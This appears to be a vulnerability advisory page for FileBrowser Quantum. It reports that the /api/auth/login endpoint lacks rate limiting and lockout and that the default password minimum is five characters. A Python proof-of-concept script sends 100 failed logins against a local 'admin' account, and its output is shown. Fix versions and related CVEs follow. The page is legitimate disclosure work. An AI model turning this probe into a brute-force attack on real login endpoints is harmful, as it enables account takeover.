GHSA-r4v7-6wcg-ghj5Medium· 6.5▾ SunlitFileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks
▾ Sunlit zone — Low / medium · no exploitation signal
impact 35.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
The /api/auth/login endpoint does not implement rate limiting, account lockout, or progressive backoff for repeated authentication failures. As a result, an attacker can perform unlimited login attempts against the endpoint. When combined with the username enumeration timing vulnerability, valid accounts can be identified and then brute-forced without restriction. The risk is further increased by a weak default password policy that only enforces a minimum length of five characters.
The authentication endpoint /api/auth/login does not enforce any form of rate limiting, account lockout, or progressive backoff for repeated failed login attempts. Testing confirmed that the endpoint accepts an unlimited number of authentication attempts from the same client without delay or restriction.
This allows attackers to repeatedly attempt password guesses against valid usernames.
Secure authentication systems typically enforce request throttling, temporary account lockout, or progressive delays after repeated failed login attempts to mitigate brute-force attacks.
$ python rate-limit-probe.py
[*] Probing http://localhost/api/auth/login for rate limiting, lockout, and backoff behavior...
Attempt 10: status=401, latency=0.0411s
Attempt 20: status=401, latency=0.0411s
Attempt 30: status=401, latency=0.0402s
Attempt 40: status=401, latency=0.0420s
Attempt 50: status=401, latency=0.0403s
Attempt 60: status=401, latency=0.0423s
Attempt 70: status=401, latency=0.0474s
Attempt 80: status=401, latency=0.0417s
Attempt 90: status=401, latency=0.0407s
Attempt 100: status=401, latency=0.0407s
--- CONCRETE EVIDENCE ---
Attempts completed: 100
Total runtime: 4.17s
Average request rate: 23.98 req/sec
Unique status codes: [401]
Average time (first 5): 0.0447s
Average time (last 5): 0.0408s
Latency delta: -0.0038s
[RESULT] No HTTP 429 responses observed.
[RESULT] No progressive backoff detected: response timing remained effectively constant.
Password validation is implemented in backend/database/storage/bolt/user.go via checkPassword(), which only verifies that the supplied password length is greater than or equal to settings.Config.Auth.Methods.PasswordAuth.MinLength. In backend/common/settings/auth.go, the PasswordAuthConfig documents the default value of MinLength as 5. No additional complexity requirements, such as uppercase, lowercase, numeric, or special character checks, were identified in this code path.
The script below demonstrates the lack of rate limiting by performing a high volume automated authentication test. The script sends sequential login requests and monitors for HTTP 429 (Too Many Requests) status codes.
import requests
import time
import statistics
URL = "http://localhost/api/auth/login"
USERNAME = "admin"
PASSWORD = "wrong-password"
MAX_ATTEMPTS = 100
TIMEOUT = 10
latencies = []
statuses = []
print(f"[*] Probing {URL} for rate limiting, lockout, and backoff behavior...")
start_total = time.time()
for i in range(1, MAX_ATTEMPTS + 1):
start = time.perf_counter()
resp = requests.post(
URL,
params={"username": USERNAME, "recaptcha": ""},
headers={"X-Password": PASSWORD},
timeout=TIMEOUT
)
duration = time.perf_counter() - start
latencies.append(duration)
statuses.append(resp.status_code)
if resp.status_code == 429:
print(f"[!] Rate limit detected at attempt {i} (HTTP 429)")
break
if i % 10 == 0:
print(f" Attempt {i:3}: status={resp.status_code}, latency={duration:.4f}s")
end_total = time.time()
attempts_completed = len(latencies)
print("\n--- CONCRETE EVIDENCE ---")
first_five_avg = statistics.mean(latencies[:5]) if attempts_completed >= 5 else statistics.mean(latencies)
last_five_avg = statistics.mean(latencies[-5:]) if attempts_completed >= 5 else statistics.mean(latencies)
latency_delta = last_five_avg - first_five_avg
print(f"Attempts completed: {attempts_completed}")
print(f"Total runtime: {end_total - start_total:.2f}s")
print(f"Average request rate: {attempts_completed / (end_total - start_total):.2f} req/sec")
print(f"Unique status codes: {sorted(set(statuses))}")
print(f"Average time (first 5): {first_five_avg:.4f}s")
print(f"Average time (last 5): {last_five_avg:.4f}s")
print(f"Latency delta: {latency_delta:+.4f}s")
if 429 not in statuses:
print("[RESULT] No HTTP 429 responses observed.")
if abs(latency_delta) < 0.05:
print("[RESULT] No progressive backoff detected: response timing remained effectively constant.")
else:
print("[RESULT] Latency variation detected: investigate possible throttling or environmental noise.")
An attacker can perform unlimited authentication attempts against valid usernames. When combined with the username enumeration timing vulnerability, this enables targeted brute-force attacks against user accounts and increases the likelihood of credential compromise.
Please let me know if you need any additional information or clarification. I'm happy to assist with testing or validating a fix.
github.com/gtsteffaniak/filebrowser < 0.0.0-20260522161427-fa5abc8c67f3aUpgrade to a patched release:
github.com/gtsteffaniak/filebrowser 0.0.0-20260522161427-fa5abc8c67f3aConnected by shared product, vendor, weakness, or advisory.
CVE-2026-54910High· 7.7FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files
CVE-2026-54685Medium· 5.3FileBrowser Quantum has Username Enumeration via Authentication Timing Side-Channel
CVE-2026-77561Medium· 5.3Tinyauth is an authentication and authorization server
CVE-2026-100678Medium· 6.5stoatchat before 0.15.5 fails to enforce account-level attempt limits on MFA login challenges, allowing attackers who know a password to guess TOTP codes with only IP-based rate limiting
CVE-2025-12995High· 8.1Medtronic CareLink Network allows an unauthenticated remote attacker to perform a brute force attack on an API endpoint that could be used to determine a valid password under certain circumstances
CVE-2026-100501Medium· 6.5Flame through 2.4.0 contains an improper restriction of excessive authentication attempts vulnerability in the POST /api/auth login endpoint that allows unauthenticated attackers to brute-force the admin password